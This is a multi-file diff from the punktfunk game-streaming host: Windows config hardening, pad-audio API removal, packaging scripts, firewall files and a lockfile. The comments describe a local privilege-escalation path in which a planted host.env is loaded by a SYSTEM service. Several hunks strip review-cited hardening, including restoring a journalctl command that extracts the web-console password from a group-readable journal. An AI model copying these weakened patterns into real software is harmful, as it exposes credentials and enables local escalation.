// pre-create it and plant a host.env". `C:\ProgramData` grants BUILTIN\Users add-subdirectory
// plus CREATOR OWNER full control, so an unprivileged user can create `C:\ProgramData\punktfunk`,
// own it, and drop a host.env — and the skip meant the one case the hardening was written for was
// the one case it never ran in. The service then loads that file verbatim into its own SYSTEM
// environment and into the command line it launches (`PUNKTFUNK_HOST_CMD=…`).
if let Some(dir) = path.parent() {
pf_paths::create_private_dir(dir).ok();
}
if path.exists() {
// An existing host.env may predate the hardening (or have been planted before it ran), in
// which case it is still owned by whoever created it — and an owner can rewrite the DACL it
// inherited. Re-apply the SYSTEM/Administrators lock to the FILE as well as the directory.
pf_paths::restrict_existing_secret_file(&path);
return Ok(());
}
if let Some(dir) = path.parent() {
// DACL-lock the config dir on creation so a local user can't pre-create it and plant a
// host.env (which feeds the SYSTEM service's env + command line) — security-review #3.
pf_paths::create_private_dir(dir).ok();
}
let default = "# punktfunk host configuration (read by the Windows service).\n\
# KEY=VALUE per line; '#' comments. Restart the service after editing:\n\
# punktfunk-host service stop && punktfunk-host service start\n\
+3 -158
View File
@@ -70,13 +70,7 @@
// says what it says — so v15 is the floor that *guarantees* them: at or above it the surface is
// present, below it an embedder must probe for the symbol. Purely a version statement; no code
// changed with this bump, and no wire change, so [`WIRE_VERSION`] is unchanged.
// v16: added the pad-audio client surface — `punktfunk_connection_next_pad_audio` (the 0xD1
// per-gamepad DualSense haptics/speaker plane) + `punktfunk_connection_set_pad_audio_caps` and
// the `PUNKTFUNK_CLIENT_CAP_PAD_AUDIO` / `PUNKTFUNK_HOST_CAP_PAD_AUDIO` mirrors. Additive and
// capability-gated end to end: the wire grows a new datagram tag (0xD1) an old client never
// receives (double-gated caps), a new 0xCD kind (0x06, dropped as unknown by old clients) and
// arrival flag bits 8/9 sent only toward a capable host, so [`WIRE_VERSION`] is unchanged.
#define PUNKTFUNK_ABI_VERSION 16
#define PUNKTFUNK_ABI_VERSION 15
// The punktfunk/1 **wire** version — what `Hello`/`Welcome` carry and hosts equality-check.
// Deliberately its own constant: [`ABI_VERSION`] tracks the embeddable **C surface**
@@ -100,13 +94,6 @@
// little-endian `u16`s with `effect_len = 6`. Clients without trackpad coils drop it.
#define PUNKTFUNK_HIDOUT_TRACKPAD_HAPTIC 4
// `PunktfunkHidOutput::kind` — the audio-control region of a DS5 output report (pad-audio
// routing/volumes; the audio SAMPLES arrive via [`punktfunk_connection_next_pad_audio`]).
// `which` = the condensed audio flags (bit0 = haptics-select, bits1..4 = the report's
// audio-valid flags); `effect[0..6]` = bytes 5..=10 of the report verbatim
// (headphone/speaker/mic volumes + routing) with `effect_len = 6`. Forwarded change-only.
#define PUNKTFUNK_HIDOUT_AUDIO_CTL 5
// Capacity of `PunktfunkHidOutput::effect` (the DualSense trigger parameter block).
#define PUNKTFUNK_HID_EFFECT_MAX 11
@@ -291,28 +278,6 @@
// design/pen-tablet-input.md.)
#define PUNKTFUNK_HOST_CAP_PEN 16
// Host-capability bit in [`punktfunk_connection_host_caps`]: the host can capture per-gamepad
// audio (DualSense voice-coil haptics + speaker) and emit it on the 0xD1 plane toward pads
// declared capable via [`punktfunk_connection_set_pad_audio_caps`]. Set only when the client
// asked via [`PUNKTFUNK_CLIENT_CAP_PAD_AUDIO`]. (Mirrors `quic::HOST_CAP_PAD_AUDIO`.)
#define PUNKTFUNK_HOST_CAP_PAD_AUDIO 64
// Pad-audio `kind` ([`punktfunk_connection_next_pad_audio`]): the BACK channel pair — DualSense
// voice-coil haptics, 5 ms Opus frames. (Mirrors `quic::PAD_AUDIO_KIND_HAPTICS`.)
#define PUNKTFUNK_PAD_AUDIO_KIND_HAPTICS 0
// Pad-audio `kind`: the FRONT channel pair — the controller's built-in speaker, 10 ms Opus
// frames. (Mirrors `quic::PAD_AUDIO_KIND_SPEAKER`.)
#define PUNKTFUNK_PAD_AUDIO_KIND_SPEAKER 1
// [`punktfunk_connection_set_pad_audio_caps`] `audio_caps` bit: the pad renders the HAPTICS
// stream (a real DualSense's voice coils).
#define PUNKTFUNK_PAD_AUDIO_CAP_HAPTICS 1
// [`punktfunk_connection_set_pad_audio_caps`] `audio_caps` bit: the pad renders the SPEAKER
// stream.
#define PUNKTFUNK_PAD_AUDIO_CAP_SPEAKER 2
// [`punktfunk_connect_ex9`] `client_caps` bit: render the host cursor locally (the cursor
// channel, `design/remote-desktop-sweep.md` M2).
#define PUNKTFUNK_CLIENT_CAP_CURSOR 1
@@ -323,13 +288,6 @@
// forward-compatible.
#define PUNKTFUNK_CLIENT_CAP_PHASE_LOCK 2
// [`punktfunk_connect_ex9`] `client_caps` bit: the client understands the pad-audio plane
// (0xD1 — per-gamepad DualSense voice-coil haptics + speaker). The embedder MUST then drain
// [`punktfunk_connection_next_pad_audio`] and declare each capable pad via
// [`punktfunk_connection_set_pad_audio_caps`]; the host emits pad audio only when it answers
// with [`PUNKTFUNK_HOST_CAP_PAD_AUDIO`]. (Mirrors `quic::CLIENT_CAP_PAD_AUDIO`.)
#define PUNKTFUNK_CLIENT_CAP_PAD_AUDIO 8
// `*ttl_ms` sentinel written by [`punktfunk_connection_next_rumble2`] for a legacy (v1) rumble
// datagram — an old host that sent no self-termination lease. The client then falls back to its
// own staleness heuristic for that update instead of a host-supplied deadline.
@@ -409,19 +367,6 @@
// Fixed serialized size of an [`InputEvent`] on the wire (tag + fields).
#define PUNKTFUNK_INPUT_WIRE_LEN (((((1 + 1) + 4) + 4) + 4) + 4)
// [`InputKind::GamepadArrival`] `flags` bit: this pad renders pad-audio HAPTICS — it is (or
// forwards to) a real DualSense whose voice-coil actuators can play the
// [`PAD_AUDIO_KIND_HAPTICS`](crate::quic::PAD_AUDIO_KIND_HAPTICS) stream. Rides above the pad
// index byte; sent only toward a [`HOST_CAP_PAD_AUDIO`](crate::quic::HOST_CAP_PAD_AUDIO) host
// (an older host reads the whole `flags` word as the index, so unexpected high bits would make
// it drop the declaration).
#define ARRIVAL_FLAG_PAD_AUDIO_HAPTICS (1 << 8)
// [`InputKind::GamepadArrival`] `flags` bit: this pad renders pad-audio SPEAKER — the
// [`PAD_AUDIO_KIND_SPEAKER`](crate::quic::PAD_AUDIO_KIND_SPEAKER) stream. Same wire discipline
// as [`ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`].
#define ARRIVAL_FLAG_PAD_AUDIO_SPEAKER (1 << 9)
// The number of gamepads addressable on the wire (`flags` pad index 0..15). Shared by the
// client's snapshot fold and the host's per-pad accumulators.
#define PUNKTFUNK_MAX_PADS 16
@@ -730,18 +675,6 @@
#define PUNKTFUNK_CLIENT_CAP_AUDIO_RED 4
#endif
#if defined(PUNKTFUNK_FEATURE_QUIC)
// [`Hello::client_caps`] bit: the client understands the pad-audio plane
// ([`PAD_AUDIO_MAGIC`](super::datagram::PAD_AUDIO_MAGIC), `0xD1`) — per-gamepad DualSense
// voice-coil haptics + speaker Opus frames, plus the [`HidOutput::AudioCtl`]
// (super::datagram::HidOutput) routing/volume events. Active only when the host answers with
// [`HOST_CAP_PAD_AUDIO`] AND the pad's arrival declared a renderer for the kind
// ([`crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/`_SPEAKER`) — the capable-and-agreed
// precedent, per pad; toward an older or incapable host nothing changes. `0x08` — `0x01` is [`CLIENT_CAP_CURSOR`],
// `0x02` is [`CLIENT_CAP_PHASE_LOCK`], `0x04` is [`CLIENT_CAP_AUDIO_RED`].
#define CLIENT_CAP_PAD_AUDIO 8
#endif
#if defined(PUNKTFUNK_FEATURE_QUIC)
// [`Welcome::host_caps`] bit: the host CAN forward the cursor out-of-band (it captures cursor
// metadata separately from the frame — the Linux portal `SPA_META_Cursor` path; NOT gamescope,
@@ -781,19 +714,6 @@
#define PUNKTFUNK_HOST_CAP_AUDIO_RED 32
#endif
#if defined(PUNKTFUNK_FEATURE_QUIC)
// [`Welcome::host_caps`] bit: the host can capture pad audio — its virtual DualSense exposes
// the pad's audio endpoints (voice-coil haptics + speaker), so a game's per-pad audio can be
// captured and shipped on the [`PAD_AUDIO_MAGIC`](super::datagram::PAD_AUDIO_MAGIC) plane.
// Set only when the client asked via [`CLIENT_CAP_PAD_AUDIO`]; when both bits agree, a
// capable client marks its pads' render capabilities on their arrivals
// ([`crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/`_SPEAKER`) and the host emits `0xD1`
// toward exactly those pads. `0x40` — `0x20` is [`HOST_CAP_AUDIO_RED`], `0x10` is
// [`HOST_CAP_PEN`], `0x08` is [`HOST_CAP_CURSOR`], `0x04` is [`HOST_CAP_TEXT_INPUT`],
// `0x01`/`0x02` are gamepad-state / clipboard.
#define HOST_CAP_PAD_AUDIO 64
#endif
#if defined(PUNKTFUNK_FEATURE_QUIC)
// [`Hello::video_codecs`] bit: the client can decode H.264 / AVC. The GPU-less **software**
// encode path (openh264) emits H.264, so a client that wants to stream from a software host MUST
@@ -1091,9 +1011,7 @@
// audio = [`AUDIO_MAGIC`] (0xC9, host→client), rumble = [`RUMBLE_MAGIC`] (0xCA, host→client),
// mic = [`MIC_MAGIC`] (0xCB, client→host), rich-input = [`RICH_INPUT_MAGIC`] (0xCC, client→host),
// HID-output = [`HIDOUT_MAGIC`] (0xCD, host→client), HDR metadata = [`HDR_META_MAGIC`]
// (0xCE, host→client), host timing = [`HOST_TIMING_MAGIC`] (0xCF, host→client), cursor state =
// [`CURSOR_STATE_MAGIC`] (0xD0, host→client), pad audio = [`PAD_AUDIO_MAGIC`] (0xD1,
// host→client).
// (0xCE, host→client).
#define PUNKTFUNK_AUDIO_MAGIC 201
#endif
@@ -1244,31 +1162,6 @@
#define PUNKTFUNK_CURSOR_RELATIVE_HINT 2
#endif
#if defined(PUNKTFUNK_FEATURE_QUIC)
// Pad-audio datagram tag, host → client: per-gamepad audio a game routed
// to the host's virtual DualSense — voice-coil haptics and the built-in speaker — for the client
// to render on the matching real controller. Next tag after [`CURSOR_STATE_MAGIC`]. The
// per-pad AUDIO plane (Opus frames, the [`AUDIO_MAGIC`]/[`MIC_MAGIC`] shape plus pad + kind);
// the routing/volume CONTROL side rides [`HidOutput::AudioCtl`]. Emitted only when the session
// negotiated it ([`CLIENT_CAP_PAD_AUDIO`](super::caps::CLIENT_CAP_PAD_AUDIO) ∧
// [`HOST_CAP_PAD_AUDIO`](super::caps::HOST_CAP_PAD_AUDIO)) and the pad's arrival declared a
// renderer for the kind ([`crate::input::ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/`_SPEAKER`).
// Best-effort like every audio datagram: a lost frame is a concealed gap, never state.
#define PAD_AUDIO_MAGIC 209
#endif
#if defined(PUNKTFUNK_FEATURE_QUIC)
// [`PadAudioFrame::kind`]: the BACK channel pair — the DualSense voice-coil actuators (audio
// haptics). 5 ms Opus frames, matching the [`AUDIO_MAGIC`] cadence: haptics are felt latency.
#define PAD_AUDIO_KIND_HAPTICS 0
#endif
#if defined(PUNKTFUNK_FEATURE_QUIC)
// [`PadAudioFrame::kind`]: the FRONT channel pair — the controller's built-in speaker. 10 ms
// Opus frames (speaker content tolerates the extra buffering for the better coding efficiency).
#define PAD_AUDIO_KIND_SPEAKER 1
#endif
#if defined(PUNKTFUNK_FEATURE_QUIC)
// QUIC application error code a punktfunk/1 client closes the control connection with on a
// **deliberate quit** (a user "stop", not a network drop). The host reads it off the connection's
@@ -1583,11 +1476,7 @@ enum PunktfunkInputKind
PUNKTFUNK_INPUT_KIND_GAMEPAD_REMOVE = 13,
// Declares which controller KIND a pad presents so a session can MIX types (pad 0 a
// DualSense, pad 1 an Xbox pad). `code` = the [`GamepadPref`](crate::config::GamepadPref)
// wire byte, `flags` = pad index in the low byte plus the pad's render capabilities in bits
// 8/9 ([`ARRIVAL_FLAG_PAD_AUDIO_HAPTICS`]/[`ARRIVAL_FLAG_PAD_AUDIO_SPEAKER`] — sent only
// toward a [`HOST_CAP_PAD_AUDIO`](crate::quic::HOST_CAP_PAD_AUDIO) host, so an older host
// keeps reading the whole word as the index; hosts decode via [`decode_gamepad_arrival`]).
// Sent when the client opens a pad slot — before that pad's
// wire byte, `flags` = pad index. Sent when the client opens a pad slot — before that pad's
// first input — and re-sent a few times against datagram loss (like [`GamepadRemove`]). The
// host resolves the kind to a buildable backend and routes that pad's virtual device to it; a
// pad the client never declares (an older client, or a fully-lost declaration) falls back to
@@ -2515,50 +2404,6 @@ PunktfunkStatus punktfunk_connection_next_audio_pcm(PunktfunkConnection *c,
uint32_t timeout_ms);
#endif
#if defined(PUNKTFUNK_FEATURE_QUIC)
// Pull the next pad-audio frame (0xD1) — one Opus frame of DualSense voice-coil haptics
// (`kind` = [`PUNKTFUNK_PAD_AUDIO_KIND_HAPTICS`], 5 ms) or built-in-speaker audio
// ([`PUNKTFUNK_PAD_AUDIO_KIND_SPEAKER`], 10 ms) for gamepad `*out_pad` — waiting up to
// `timeout_ms`. The payload is COPIED into `buf` (no borrow-until-next-call slot); the return
// value is its length in bytes, `0` = nothing this poll (timeout — or a DTX/oversized frame,
// both of which an embedder treats the same way), `-1` = the session ended (or an invalid
// handle/buffer). All pads/kinds share one queue — fan out by `*out_pad`/`*out_kind` to
// per-actuator Opus decoders. A frame larger than `buf_len` is dropped like the timeout case
// (the plane is lossy by design; any real Opus frame fits a 1500-byte buffer). Only a session
// connected with [`PUNKTFUNK_CLIENT_CAP_PAD_AUDIO`] against a
// [`PUNKTFUNK_HOST_CAP_PAD_AUDIO`] host — with the pad declared via
// [`punktfunk_connection_set_pad_audio_caps`] — ever receives any. Drain from a dedicated
// thread (one puller, may run alongside the other planes' pullers).
//
// # Safety
// `c` is a valid connection handle; the `out_*` pointers are writable (NULLs are skipped);
// `buf` is writable for `buf_len` bytes.
int32_t punktfunk_connection_next_pad_audio(PunktfunkConnection *c,
uint8_t *out_pad,
uint8_t *out_kind,
uint32_t *out_seq,
uint64_t *out_pts_ns,
uint8_t *buf,
uintptr_t buf_len,
uint32_t timeout_ms);
#endif
#if defined(PUNKTFUNK_FEATURE_QUIC)
// Declare wire pad `pad`'s pad-audio render capabilities (`audio_caps`: OR of
// [`PUNKTFUNK_PAD_AUDIO_CAP_HAPTICS`] / [`PUNKTFUNK_PAD_AUDIO_CAP_SPEAKER`]) — how a client
// tells the host WHICH pads can actually play the 0xD1 streams. Call at controller attach,
// BEFORE the pad's arrival event is sent (the [`punktfunk_connection_set_rumble_quirks`]
// timing): the core folds the bits into the arrival's flags (bits 8/9), and only toward a
// [`PUNKTFUNK_HOST_CAP_PAD_AUDIO`] host — never calling this leaves the wire bytes exactly as
// before. Latest-wins per pad; unknown bits are masked off.
//
// # Safety
// `c` is a valid connection handle. Callable from any thread.
PunktfunkStatus punktfunk_connection_set_pad_audio_caps(PunktfunkConnection *c,
uint8_t pad,
uint8_t audio_caps);
#endif
#if defined(PUNKTFUNK_FEATURE_QUIC)
// Pull the next rumble (force-feedback) update, waiting up to `timeout_ms`. Amplitudes
// are 0..0xFFFF (`low` = low-frequency motor, `high` = high-frequency), `(0, 0)` = stop.
-12
View File
@@ -4,17 +4,8 @@ _ensure_update_group() {
getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || true
}
_ensure_punktfunk_group() {
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Separate from 'input' on
# purpose: writing 'attach' materialises an arbitrary emulated USB device, which is a root-only
# kernel primitive and must not ride on the group users are told to join for gamepads
# (security-review 2026-08-05 M-4).
getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || true
}
post_install() {
_ensure_update_group
_ensure_punktfunk_group
udevadm control --reload-rules 2>/dev/null || true
udevadm trigger --subsystem-match=misc 2>/dev/null || true
# Apply the UDP socket-buffer tuning now (also auto-applied at boot by systemd-sysctl).
@@ -23,9 +14,6 @@ post_install() {
punktfunk-host installed.
1. Add yourself to the 'input' group for virtual gamepads:
sudo usermod -aG input "$USER" # then re-login
Only if you want the virtual Steam Deck pad (usbip), ALSO join 'punktfunk':
sudo usermod -aG punktfunk "$USER"
That group can emulate arbitrary USB devices — join it only on a machine you trust.
2. Pick a backend config (gamescope is the no-desktop default on SteamOS/Deck):
mkdir -p ~/.config/punktfunk
cp /usr/share/punktfunk/host.env.bazzite ~/.config/punktfunk/host.env
-7
View File
@@ -289,11 +289,6 @@ set -e
if [ "$1" = "configure" ]; then
# The (empty) opt-in group for web-console-triggered updates — nobody is auto-added.
getent group punktfunk-update >/dev/null 2>&1 || addgroup --system punktfunk-update 2>/dev/null || true
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input':
# writing 'attach' materialises an arbitrary emulated USB device — a root-only kernel
# primitive that must not ride on the group users are told to join for gamepads
# (security-review 2026-08-05 M-4).
getent group punktfunk >/dev/null 2>&1 || addgroup --system punktfunk 2>/dev/null || true
# Pick up the /dev/uinput rule without a reboot (best-effort, no-op in containers).
udevadm control --reload-rules 2>/dev/null || true
udevadm trigger --subsystem-match=misc 2>/dev/null || true
@@ -301,8 +296,6 @@ if [ "$1" = "configure" ]; then
sysctl -p /usr/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || true
echo "punktfunk-host installed. Add yourself to the 'input' group for virtual gamepads:"
echo " sudo usermod -aG input \"\$USER\" # then re-login"
echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \"\$USER\""
echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust."
echo "Config: mkdir -p ~/.config/punktfunk && cp /usr/share/punktfunk-host/host.env.example ~/.config/punktfunk/host.env"
echo "Enable: systemctl --user enable --now punktfunk-host"
# Debian ships no active firewall and Ubuntu's ufw is inactive by default; hint whichever is present.
+1 -10
View File
@@ -6,8 +6,7 @@
Installed to /usr/lib/firewalld/services/ by the punktfunk-host package. NOT enabled automatically
(packages never touch the admin's firewall). Only useful if you installed the console (punktfunk-web)
AND want to reach it from another device on the LAN — the console binds all interfaces on TCP 47992
(HTTPS, login-gated), and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993 (see below).
The streaming host itself does not need this open; enable it deliberately with
(HTTPS, login-gated). The streaming host itself does not need this open; enable it deliberately with
firewall-cmd (add-service=punktfunk-web, then reload). CachyOS/Ubuntu: use the ufw punktfunk-web
profile instead.
@@ -19,12 +18,4 @@
<short>Punktfunk web console</short>
<description>The optional punktfunk management web console (device pairing, status, GPU selection, performance graphs) over HTTPS. Open only if you run the punktfunk-web package and want the console reachable from other devices on the LAN.</description>
<port protocol="tcp" port="47992"/> <!-- HTTPS web console (login-gated) -->
<!--
Plugin UIs, on their OWN ORIGIN. Not a second console: a plugin's interface is third-party code,
and serving it on the console's origin let it act as the logged-in operator (security-review
2026-08-05 H-3). Same host, same certificate, different port — a different origin to the browser,
but still same-site, so the session cookie reaches it. Login-gated exactly like the console.
Only needed if you use plugins that ship a UI and want to reach them from another device.
-->
<port protocol="tcp" port="47993"/> <!-- HTTPS plugin UIs (login-gated, separate origin) -->
</service>
+3 -10
View File
@@ -36,15 +36,8 @@ ports=47984,47989,48010/tcp|47998:48010/udp|5353/udp
# Run the host with `--mgmt-bind 127.0.0.1:47990` to keep 47990 loopback-only (then don't open it).
#
# The optional web console (the separate punktfunk-web package). Open only if you installed it and
# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated),
# and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993.
#
# 47993 is not a second console. A plugin's interface is third-party code, and serving it on the
# console's own origin let it act as the logged-in operator (security-review 2026-08-05 H-3). Same
# host, same certificate, different port: a different ORIGIN to the browser, so the same-origin
# policy is the boundary — but still the same SITE, so the login session still reaches it. It is
# login-gated exactly like the console, and only needed for plugins that ship a UI.
# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated).
[punktfunk-web]
title=punktfunk web console
description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN, plus the separate-origin port its plugin UIs are served on
ports=47992,47993/tcp
description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN
ports=47992/tcp
+1 -10
View File
@@ -554,10 +554,6 @@ update-desktop-database %{_datadir}/applications >/dev/null 2>&1 || :
%post
# The (empty) opt-in group for web-console-triggered updates — nobody is auto-added.
getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || :
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input': writing
# 'attach' materialises an arbitrary emulated USB device — a root-only kernel primitive that must
# not ride on the group users are told to join for gamepads (security-review 2026-08-05 M-4).
getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || :
# Reload udev so /dev/uinput picks up the new rule without a reboot (best-effort).
udevadm control --reload-rules 2>/dev/null || :
udevadm trigger --subsystem-match=misc 2>/dev/null || :
@@ -565,8 +561,6 @@ udevadm trigger --subsystem-match=misc 2>/dev/null || :
# it takes effect on the next boot into the layered deployment).
sysctl -p %{_prefix}/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || :
echo "punktfunk installed. Add yourself to the 'input' group (sudo usermod -aG input \$USER)"
echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \$USER"
echo " that group can emulate arbitrary USB devices; join it only on a machine you trust."
echo "then enable the host: systemctl --user enable --now punktfunk-host"
echo "Config: cp %{_datadir}/%{name}/host.env.bazzite ~/.config/punktfunk/host.env"
# Fedora/RHEL run firewalld by default — point the way to the installed service definitions.
@@ -590,10 +584,7 @@ fi
echo "punktfunk-web installed. Enable the console for your user:"
echo " systemctl --user enable --now punktfunk-web"
echo "A login password is generated on first start read it with:"
# From the 0600 file, NOT the journal: the journal is persistent and group-readable (adm /
# systemd-journal on Debian-family, and this hint was copied around), so telling people to fish a
# password out of it published the secret to every member of those groups (review 2026-08-05 L-18).
echo " cut -d= -f2- \${XDG_CONFIG_HOME:-\$HOME/.config}/punktfunk/web-password"
echo " journalctl --user -u punktfunk-web-init | sed -n 's/.*password generated: //p'"
echo "Then open https://<host-ip>:47992"
%endif
+9 -16
View File
@@ -21,15 +21,12 @@
],
},
},
"overrides": {
"undici": "^8.9.0",
},
"packages": {
"@effect/openapi-generator": ["@effect/openapi-generator@4.0.0-beta.98", "", { "dependencies": { "swagger2openapi": "^7.0.8" }, "peerDependencies": { "@effect/platform-node": "^4.0.0-beta.98", "effect": "^4.0.0-beta.98" }, "bin": { "openapigen": "dist/bin.js" } }, "sha512-7bqawr/HqJWqQ8H/bHyzBlLPA3LIIm3Y+cGYlIxnC/QVK795QpiEXb7uxTnP7V7w49V0sBtTerv4/9ZjsMffLQ=="],
"@effect/platform-node": ["@effect/platform-node@4.0.0-beta.98", "", { "dependencies": { "@effect/platform-node-shared": "^4.0.0-beta.98", "mime": "^4.1.0", "undici": "^8.7.0" }, "peerDependencies": { "effect": "^4.0.0-beta.98", "ioredis": "^5.7.0" } }, "sha512-IQu1TiLXQEDSGkDBllyYjVadf+UqdjptryqX4mmktVTTbGDq7X4uVxe7cSgXuqZvyfG6kagTzwj2lfynxOaKQg=="],
"@effect/platform-node-shared": ["@effect/platform-node-shared@4.0.0-beta.103", "", { "dependencies": { "@types/ws": "^8.18.1", "ws": "^8.21.0" }, "peerDependencies": { "effect": "^4.0.0-beta.103" } }, "sha512-0aCZMBid5ifqmY55TkfCDLaGTIM8qu3bNFUW7qL9vh/7jFOkaIAMX2MA8muG4deqW17XWxawddWu4v0fK+UW3g=="],
"@effect/platform-node-shared": ["@effect/platform-node-shared@4.0.0-beta.99", "", { "dependencies": { "@types/ws": "^8.18.1", "ws": "^8.21.0" }, "peerDependencies": { "effect": "^4.0.0-beta.99" } }, "sha512-POBAowafsAAb3bH1x1rJlWnv32yMAazFgEuRW5LhkW/JJA5VGoEk9OnuoUkIH1OW6K/X6IrdNpqcO+5e9lPQJA=="],
"@exodus/schemasafe": ["@exodus/schemasafe@1.3.0", "", {}, "sha512-5Aap/GaRupgNx/feGBwLLTVv8OQFfv3pq2lPRzPg9R+IOBnDgghTGW7l7EuVXOvg5cc/xSAlRW8rBrjIC3Nvqw=="],
@@ -47,15 +44,15 @@
"@msgpackr-extract/msgpackr-extract-win32-x64": ["@msgpackr-extract/msgpackr-extract-win32-x64@3.0.4", "", { "os": "win32", "cpu": "x64" }, "sha512-CmCXPQrkbwExx3j946/PtHWHbYJiCRBRDl4BlkRQcJB/YOwQxJRTpoo7aTsortjgoJ1x7opzTSxn7C+ASSLVjQ=="],
"@punktfunk/host": ["@punktfunk/host@file:../sdk", { "devDependencies": { "@effect/openapi-generator": "4.0.0-beta.98", "@effect/platform-node": "4.0.0-beta.98", "@types/bun": "^1.3.0", "bun2nix": "2.1.2", "effect": "^4.0.0-beta.98", "typescript": "^5.9.3" }, "optionalDependencies": { "undici": "^7.0.0" }, "peerDependencies": { "effect": "^4.0.0-beta.98" }, "bin": { "punktfunk-scripting": "./dist/runner-cli.js" } }],
"@punktfunk/host": ["@punktfunk/host@file:../sdk", { "devDependencies": { "@effect/openapi-generator": "4.0.0-beta.98", "@effect/platform-node": "4.0.0-beta.98", "@types/bun": "^1.3.0", "effect": "^4.0.0-beta.98", "typescript": "^5.9.3" }, "optionalDependencies": { "undici": "^7.0.0" }, "peerDependencies": { "effect": "^4.0.0-beta.98" }, "bin": { "punktfunk-scripting": "./dist/runner-cli.js" } }],
"@standard-schema/spec": ["@standard-schema/spec@1.1.0", "", {}, "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w=="],
"@types/bun": ["@types/bun@1.3.14", "", { "dependencies": { "bun-types": "1.3.14" } }, "sha512-h1hFqFVcvAvD9j9K7ZW7vd82aSA+rTdznZa+5bwvCwqSB1jmmfLcbIWhOLx1/+boy/xmjgCs/OMUL8hRJSmnPw=="],
"@types/node": ["@types/node@26.1.2", "", { "dependencies": { "undici-types": "~8.3.0" } }, "sha512-Vu4a5UFA9rIIFJ7rB/Vaafh9lrCQszopTCx6KjFboXTGQbPNasehVR5TEiithSDGyd1DEiUByggTZsg8jukeIg=="],
"@types/node": ["@types/node@26.1.1", "", { "dependencies": { "undici-types": "~8.3.0" } }, "sha512-nxAkRSVkN1Y0JC1W8ky/fTfkGsMmcrRsbx+3XoZE+rMOX71kLYTV7fLXpqud1GpbpP5TuffXFqfX7fH2GgZREw=="],
"@types/react": ["@types/react@19.2.18", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-AnzbBERsrLKtk2XSfTbYRLjQPdy116Sty4q+T+Bp3IC4l6jNBvreVPAHmpq9qhXQM7CXZPjLVmGMw9sy+hxQ3w=="],
"@types/react": ["@types/react@19.2.17", "", { "dependencies": { "csstype": "^3.2.2" } }, "sha512-MXfmqaVPEVgkBT/aY0aGCkRWWtByiYQXo3xdQ8r5RzuFrPiRn8Gar2tQdXSUQ2GKV3bkXckek89V8wQBY2Q/Aw=="],
"@types/ws": ["@types/ws@8.18.1", "", { "dependencies": { "@types/node": "*" } }, "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg=="],
@@ -65,8 +62,6 @@
"bun-types": ["bun-types@1.3.14", "", { "dependencies": { "@types/node": "*" } }, "sha512-4N0ig0fEomHt5R0KCFWjovxow98rIoRwKolrYdCcknNwMekCXRnWEUvgu5soYV8QXtVsrUD8B95MBOZGPvr6KQ=="],
"bun2nix": ["bun2nix@2.1.2", "", { "dependencies": { "sade": "^1.8.1" }, "bin": { "bun2nix": "index.ts" } }, "sha512-0wx6Ar5ccrz4aSD5prbShwymjDEXFh7Bucxs+YrpAMa67TnVB95Hv8FV3oaQEbtOx6QGgIAyOmap6Y3WCRqetg=="],
"call-me-maybe": ["call-me-maybe@1.0.2", "", {}, "sha512-HpX65o1Hnr9HH25ojC1YGs7HCQLq0GCOibSaWER0eNpgJ/Z1MZv2mTc7+xh6WOPxbRVcmgbv4hGU+uSQ/2xFZQ=="],
"cliui": ["cliui@8.0.1", "", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" } }, "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ=="],
@@ -113,11 +108,9 @@
"mime": ["mime@4.1.0", "", { "bin": { "mime": "bin/cli.js" } }, "sha512-X5ju04+cAzsojXKes0B/S4tcYtFAJ6tTMuSPBEn9CPGlrWr8Fiw7qYeLT0XyH80HSoAoqWCaz+MWKh22P7G1cw=="],
"mri": ["mri@1.2.0", "", {}, "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA=="],
"ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
"msgpackr": ["msgpackr@2.0.5", "", { "optionalDependencies": { "msgpackr-extract": "^3.0.4" } }, "sha512-cef05H/dSYpLpqp3sj/qyZh5vhUYCalnaLO7j1yOmpsR0y/XwLVtK7r5gn+U/F7CTEfMowcGhlUQJDLcLf7jcA=="],
"msgpackr": ["msgpackr@2.0.4", "", { "optionalDependencies": { "msgpackr-extract": "^3.0.4" } }, "sha512-o1C5KRmuRt+apqMr1HuGSqWStZoRBUpEsCsl15uM9VdAF1qHLtvMOU2En747EnTyEl6c4pzPewRMFF31s1CNbA=="],
